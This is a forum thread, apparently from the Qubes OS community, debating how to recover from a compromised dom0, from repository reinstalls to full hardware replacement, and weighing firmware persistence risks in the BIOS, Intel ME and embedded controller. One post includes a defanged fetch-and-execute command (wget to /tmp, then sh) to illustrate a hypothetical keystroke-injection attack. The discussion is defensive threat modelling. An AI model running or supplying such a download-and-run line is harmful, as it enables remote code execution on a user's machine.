Dom0 compromized? Just swap it with an uncompromized version from the repository

Continuing the discussion from Intrustion Detectors in dom0: bad idea?. The context was: “if dom0 gets compromized, can we just fetch another one from a repository?”:

My uninformed opinion:

Having dom0 available in a repository seems to go against the idea that dom0 is sacred and should be subject to as few attack vectors as possible before installation.

Given the limitations of the distribution infrastructure, it should only be installed via a signed and (triple) verified ISO–preferably burned on a disc.

If your dom0 gets compromised it would make much more sense to wipe your drive and re-install your OS. The more paranoid might even want to abandon that machine for fear of firmware tampering (which I think someone who can get to dom0 is capable and likely willing to use).


@fiftyfourthparallel and how would you handle security updates?

I didn’t fully think this through, but I’ll attempt to defend my position anyways:

Security patches are microscopic compared to the entire dom0 and therefore easier to keep tabs on (assuming issues with hashing and/or verification like the recent RPM vulnerability QSB). On top of that, they are very infrequent, so the overall workload is small. Despite that, few actually go through the source code of these updates before installation (like yours truly, who just enters sudo qubes-dom0-update -y and walks away), so for all practical purposes it’s in a similar situation as having the full dom0 downloadable.

That doesn’t make the latter desirable though, since a compromised dom0 is GameOver™ and if you feel the need to reinstall dom0, you’re better off starting anew (perhaps hardware too), so having a dom0 re-install package encourages bad/lazy opsec.


Split this topic from the original conversation as I felt it could have its own life.

If you know dom0 is compromised, you should not rely on its update mechanisms. I agree with @fiftyfourthparallel that you should do paranoid backup restore in this case. Which is why making it user-friendly, I believe, should be a high-priority task in the Qubes Issues:
Proper "paranoid mode" backup restore using DisposableVM · Issue #5310 · QubesOS/qubes-issues · GitHub.

1 Like

Those are great points, but the truth of the matter is the time required to make full installs, configuring, etc. opsec specialist would most likely take the long and secure route. But the under pressure, regular journalist or political dissident might not have the patience, expertise or time to continually compile and build.

I am a firm believe in scorched earth. If I know a machine has been compromised, then its a top down wipe for me. Zero out the drive(s), zero out the BIOS and re-flash to factory using an external programmer. Install OS from a known good, signed/validated ISO.

1 Like

As someone who isn’t technically proficient, I look at a lot of the solutions many here deploy as a matter of procedure and just shake my head those are beyond my current abilities. So I get what you’re saying. However, dom0 is a security matter of the utmost importance to the whole Qubes model, so it’s a bit different from peripheral issues, and lack of patience/expertise/time can’t justify being lax on this.

@Plexus: The scorched earth strategy makes sense, but it doesn’t go far enough against an adversary who has just targeted you hard enough to compromise your dom0. IMHO there’s a high chance you have a very personal APT on your hands, so, as @zrubi said, it’s best you start your digital life over, hardware included. Just clearing BIOS wouldn’t be enough, especially since Qubes is still based on x86 and there are below-ring-zero threats, among other firmware threats.

Am I being too paranoid here?

Am I being too paranoid here?

It’s really subjective.
And in practice you should do your own risk analisys and decide accordingly.

Most of the users out there are happy with their Windows/IOS/Android/Linux.
Moreover, most of the security expert are just using those without worried.
Some of those are probably know the risks, but just accepting it for comfort.

Onll very few doing real things about their security and privacy - like using Qubes OS.
If you are in this group, the yes you are paranoid :slight_smile: at least more than the average technical users out there.

Now you can divide these very few people into more groups like how strict they are :wink:
And there is always a relevant XKCD:


This is part of the threat model i work to

In terms of throwing the hardware out? Yes I think so.

I assume you mean the risk from ME - which actually uses the BIOS firmware to BUP (bring up) as well as all the other partitions that make ME work. You can also set HAP bit which the three letter agency handily installed for when they run x86 hardware…

Just like your main processor, the ME processor needs firmware to boot - and thats on the BIOS chip in various partitions.

ME kernel? On your BIOS chip.
EFFS, POLICY,HOSTCOM partitions? Yep - on the BIOS chip.

Anything in there that was persistent is removed when you flash the BIOS back to factory. And if people neuter ME then its (as far as the community can tell) deader than tank tops.

Arguably other areas of the hardware to look out for persistence would be option ROMs and video BIOS, but id say thats a very long shot - if you can show me a single example of known persistence via GPU ROM id be interested.

Can you elaborate a bit more? Genuinely interested. Im not sure what persistence could remain on hardware using my model.


Good ol’ rubber-hose cryptography.

Security experts using mainstream OSes probably have IDS and external monitors (e.g. packet capturing devices) galore. They have enough expertise to comfortably use mainstream OSes.

Mainstream users, on the other hand, don’t have enough knowledge to even know what danger they’re in, so it’s an ‘ignorance is bliss’ scenario (sometimes willfully), until ransomware strikes.

This is convincing. I’m not a good judge, but this is convincing for at least the BIOS and ME/PSP portions of my concern.

By ‘below-ring-zero’ I meant ME/PSP, microcode, etc. which I understood as being it’s own mini computer that is separate from BIOS. However, you made it clear that I was mistaken, and you’re the expert here, so I defer to you.

I mentioned “other firmware threats” because BadUSB left a strong impression on me and I’ve been on the lookout for firmware threats since. My reasoning goes that if BadUSB is a legitimate threat, then why can’t this be the case for the myriad other pieces of firmware that make up my computer? From the sub-units of my motherboard to the GPU.

This was the start of my rabbit-hole journey down the hardware security chain of reasoning. It wasn’t pleasant. And then the Bloomberg piece confirmed a lot of my fears. Its veracity wasn’t important since the concerns it raised were legitimate.

There’s a good thread in the restricted section about hardware security, if anyone’s interested.

1 Like
1 Like

Thanks @fsflover that is indeed mostly the model i use. I personally discounted Wifi as the vast majority of machine I use dont have it, but I did mention network option roms earlier. I guess the update would be, to anyone with a wifi adapter on scorched earth hardware, swap it out to be sure.

This leaves SPI (BIOS), HDD and EC. Ive touched on BIOS and HDD already. So that leaves EC.

Now the EC is a processor on the SPI bus, and I do agree with Joannas work. However, what can it do practically? Joanna coves that here. If the EC isnt using firmware thats on the BIOS ROM (as the BIOS is flushed to stock on scorched earth), then there is a risk of something being there. Thats when it may be prudent to have a before vs after byte comparison of the EC firmware. But again, this would depend on the firmware not being in the BIOS SPI chip and being on a separate chip, and it would be of very limited use as a persistence vector (read: the persistence would need to know when - eg, sniffing the screen (already called out by Joanna as “questionable in practice”) for a specific situation such as terminal being open - to type out a set of pre defined keystrokes that hopefully the operator does not see appearing on their screen (lets say wget -O /tmp/1 hXXps:// && sh /tmp/1 ). It just seems to me like a verry highly improbable set of persistence circumstances. To incorporate that into a threat model, I would say check the EC chip tech spec, make sure it has no onboard flash space and then check for all other SPI flash chips on your board.

however, we are again veering way off course from QubesOS and re-installing a compromised Dom0 from repos - I suspect @deeplow will be along soon, so I shall end my input to this particular tangent here.

6 posts were merged into an existing topic: Drive firmware compromise discussion

(note: as this was not entirely Qubes-related, it was moved to a special category which is only available to trust level 2 users)